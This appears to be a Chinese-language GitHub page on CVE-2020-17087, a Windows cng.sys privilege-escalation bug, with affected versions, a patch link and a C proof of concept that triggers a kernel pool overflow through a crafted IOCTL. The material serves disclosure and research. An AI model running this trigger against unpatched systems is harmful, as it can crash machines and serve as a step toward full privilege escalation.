Skip to content

Latest commit

 

History

History
 
 

CVE-2020-17087

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 
 
 

CVE-2020-17087

描述

Windows 内核密码驱动程序 cng.sys 中的特权提升漏洞,已作为 CVE-2020-15999(FreeType 2 库中的缓冲区溢出漏洞)的漏洞链的一部分被广泛利用。CVE-2020-17087 被用于逃脱 Google Chrome浏览器的沙箱,以提升被利用系统的特权,且目前该漏洞已被在野利用。

影响版本

Product CPU Architecture Version Update Tested
Windows Server 2019
Windows Server 2012 R2
Windows Server 2012
Windows Server 2008 X64 R2 SP1
Windows Server 2008 X86/X64 SP2
Windows RT 8.1
Windows 8.1 X86/X64
Windows 7 X86/X64 SP1
Windows Server 2016
Windows 10 X86/X64 1607
Windows 10
Windows 10 X86/X64/ARM64 20H2
Windows 10 X86/X64/ARM64 2004
Windows 10 X86/X64/ARM64 1903
Windows 10 X86/X64/ARM64 1909
Windows 10 X86/X64/ARM64 1809
Windows 10 X86/X64/ARM64 1803
Windows Server 20H2
Windows Server 2004
Windows Server 1903
Windows Server 1909

修复补丁

https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-17087

利用方式

目前没有利用方式,只有一个概念代码

#pragma comment(lib, "ntdll")

#include <cstdio>
#include <windows.h>

int main() {
  HANDLE hCng = CreateFileA("\\\\.\\GLOBALROOT\\Device\\Cng",
    GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);

if (hCng == NULL) {
  printf("[-] Failed to open \\Device\\Cng: %u\n", GetLastError());
  return 1;
}

printf("[+] \\Device\\Cng opened, handle: %p\n", hCng);

//
// DataBufferSize overflows when used for allocating memory in
// cng!CfgAdtpFormatPropertyBlock as (uint16)(DataBufferSize * 6).
//
// In this proof-of-concept, an allocation of (uint16)(0x2AAB * 6) = 2
// bytes is requested while 0x2AAB * 6 = 0x10002 bytes are written to it.
//
CONST DWORD DataBufferSize = 0x2AAB;
CONST DWORD IoctlSize = 4096 + DataBufferSize;
BYTE *IoctlData = (BYTE *)HeapAlloc(GetProcessHeap(), 0, IoctlSize);

RtlZeroMemory(IoctlData, IoctlSize);

*(DWORD*)    &IoctlData[0x00] = 0x1A2B3C4D;
*(DWORD*)    &IoctlData[0x04] = 0x10400;
*(DWORD*)    &IoctlData[0x08] = 1;
*(ULONGLONG*)&IoctlData[0x10] = 0x100;
*(DWORD*)    &IoctlData[0x18] = 3;
*(ULONGLONG*)&IoctlData[0x20] = 0x200;
*(ULONGLONG*)&IoctlData[0x28] = 0x300;
*(ULONGLONG*)&IoctlData[0x30] = 0x400;
*(DWORD*)    &IoctlData[0x38] = 0;
*(ULONGLONG*)&IoctlData[0x40] = 0x500;
*(ULONGLONG*)&IoctlData[0x48] = 0x600;
*(DWORD*)    &IoctlData[0x50] = DataBufferSize; // OVERFLOW
*(ULONGLONG*)&IoctlData[0x58] = 0x1000;
*(ULONGLONG*)&IoctlData[0x60] = 0;
RtlCopyMemory(&IoctlData[0x200], L"FUNCTION", 0x12);
RtlCopyMemory(&IoctlData[0x400], L"PROPERTY", 0x12);

ULONG_PTR OutputBuffer = 0;
DWORD BytesReturned;
BOOL Status = DeviceIoControl(
  hCng,
  0x390400,
  IoctlData,
  IoctlSize,
  &OutputBuffer,
  sizeof(OutputBuffer),
  &BytesReturned,
  NULL
);

printf("[+] Ioctl sent, Status: %d, OutputBuffer: %zx\n", Status, OutputBuffer);

HeapFree(GetProcessHeap(), 0, IoctlData);
CloseHandle(hCng);

return 0;
}

分析文章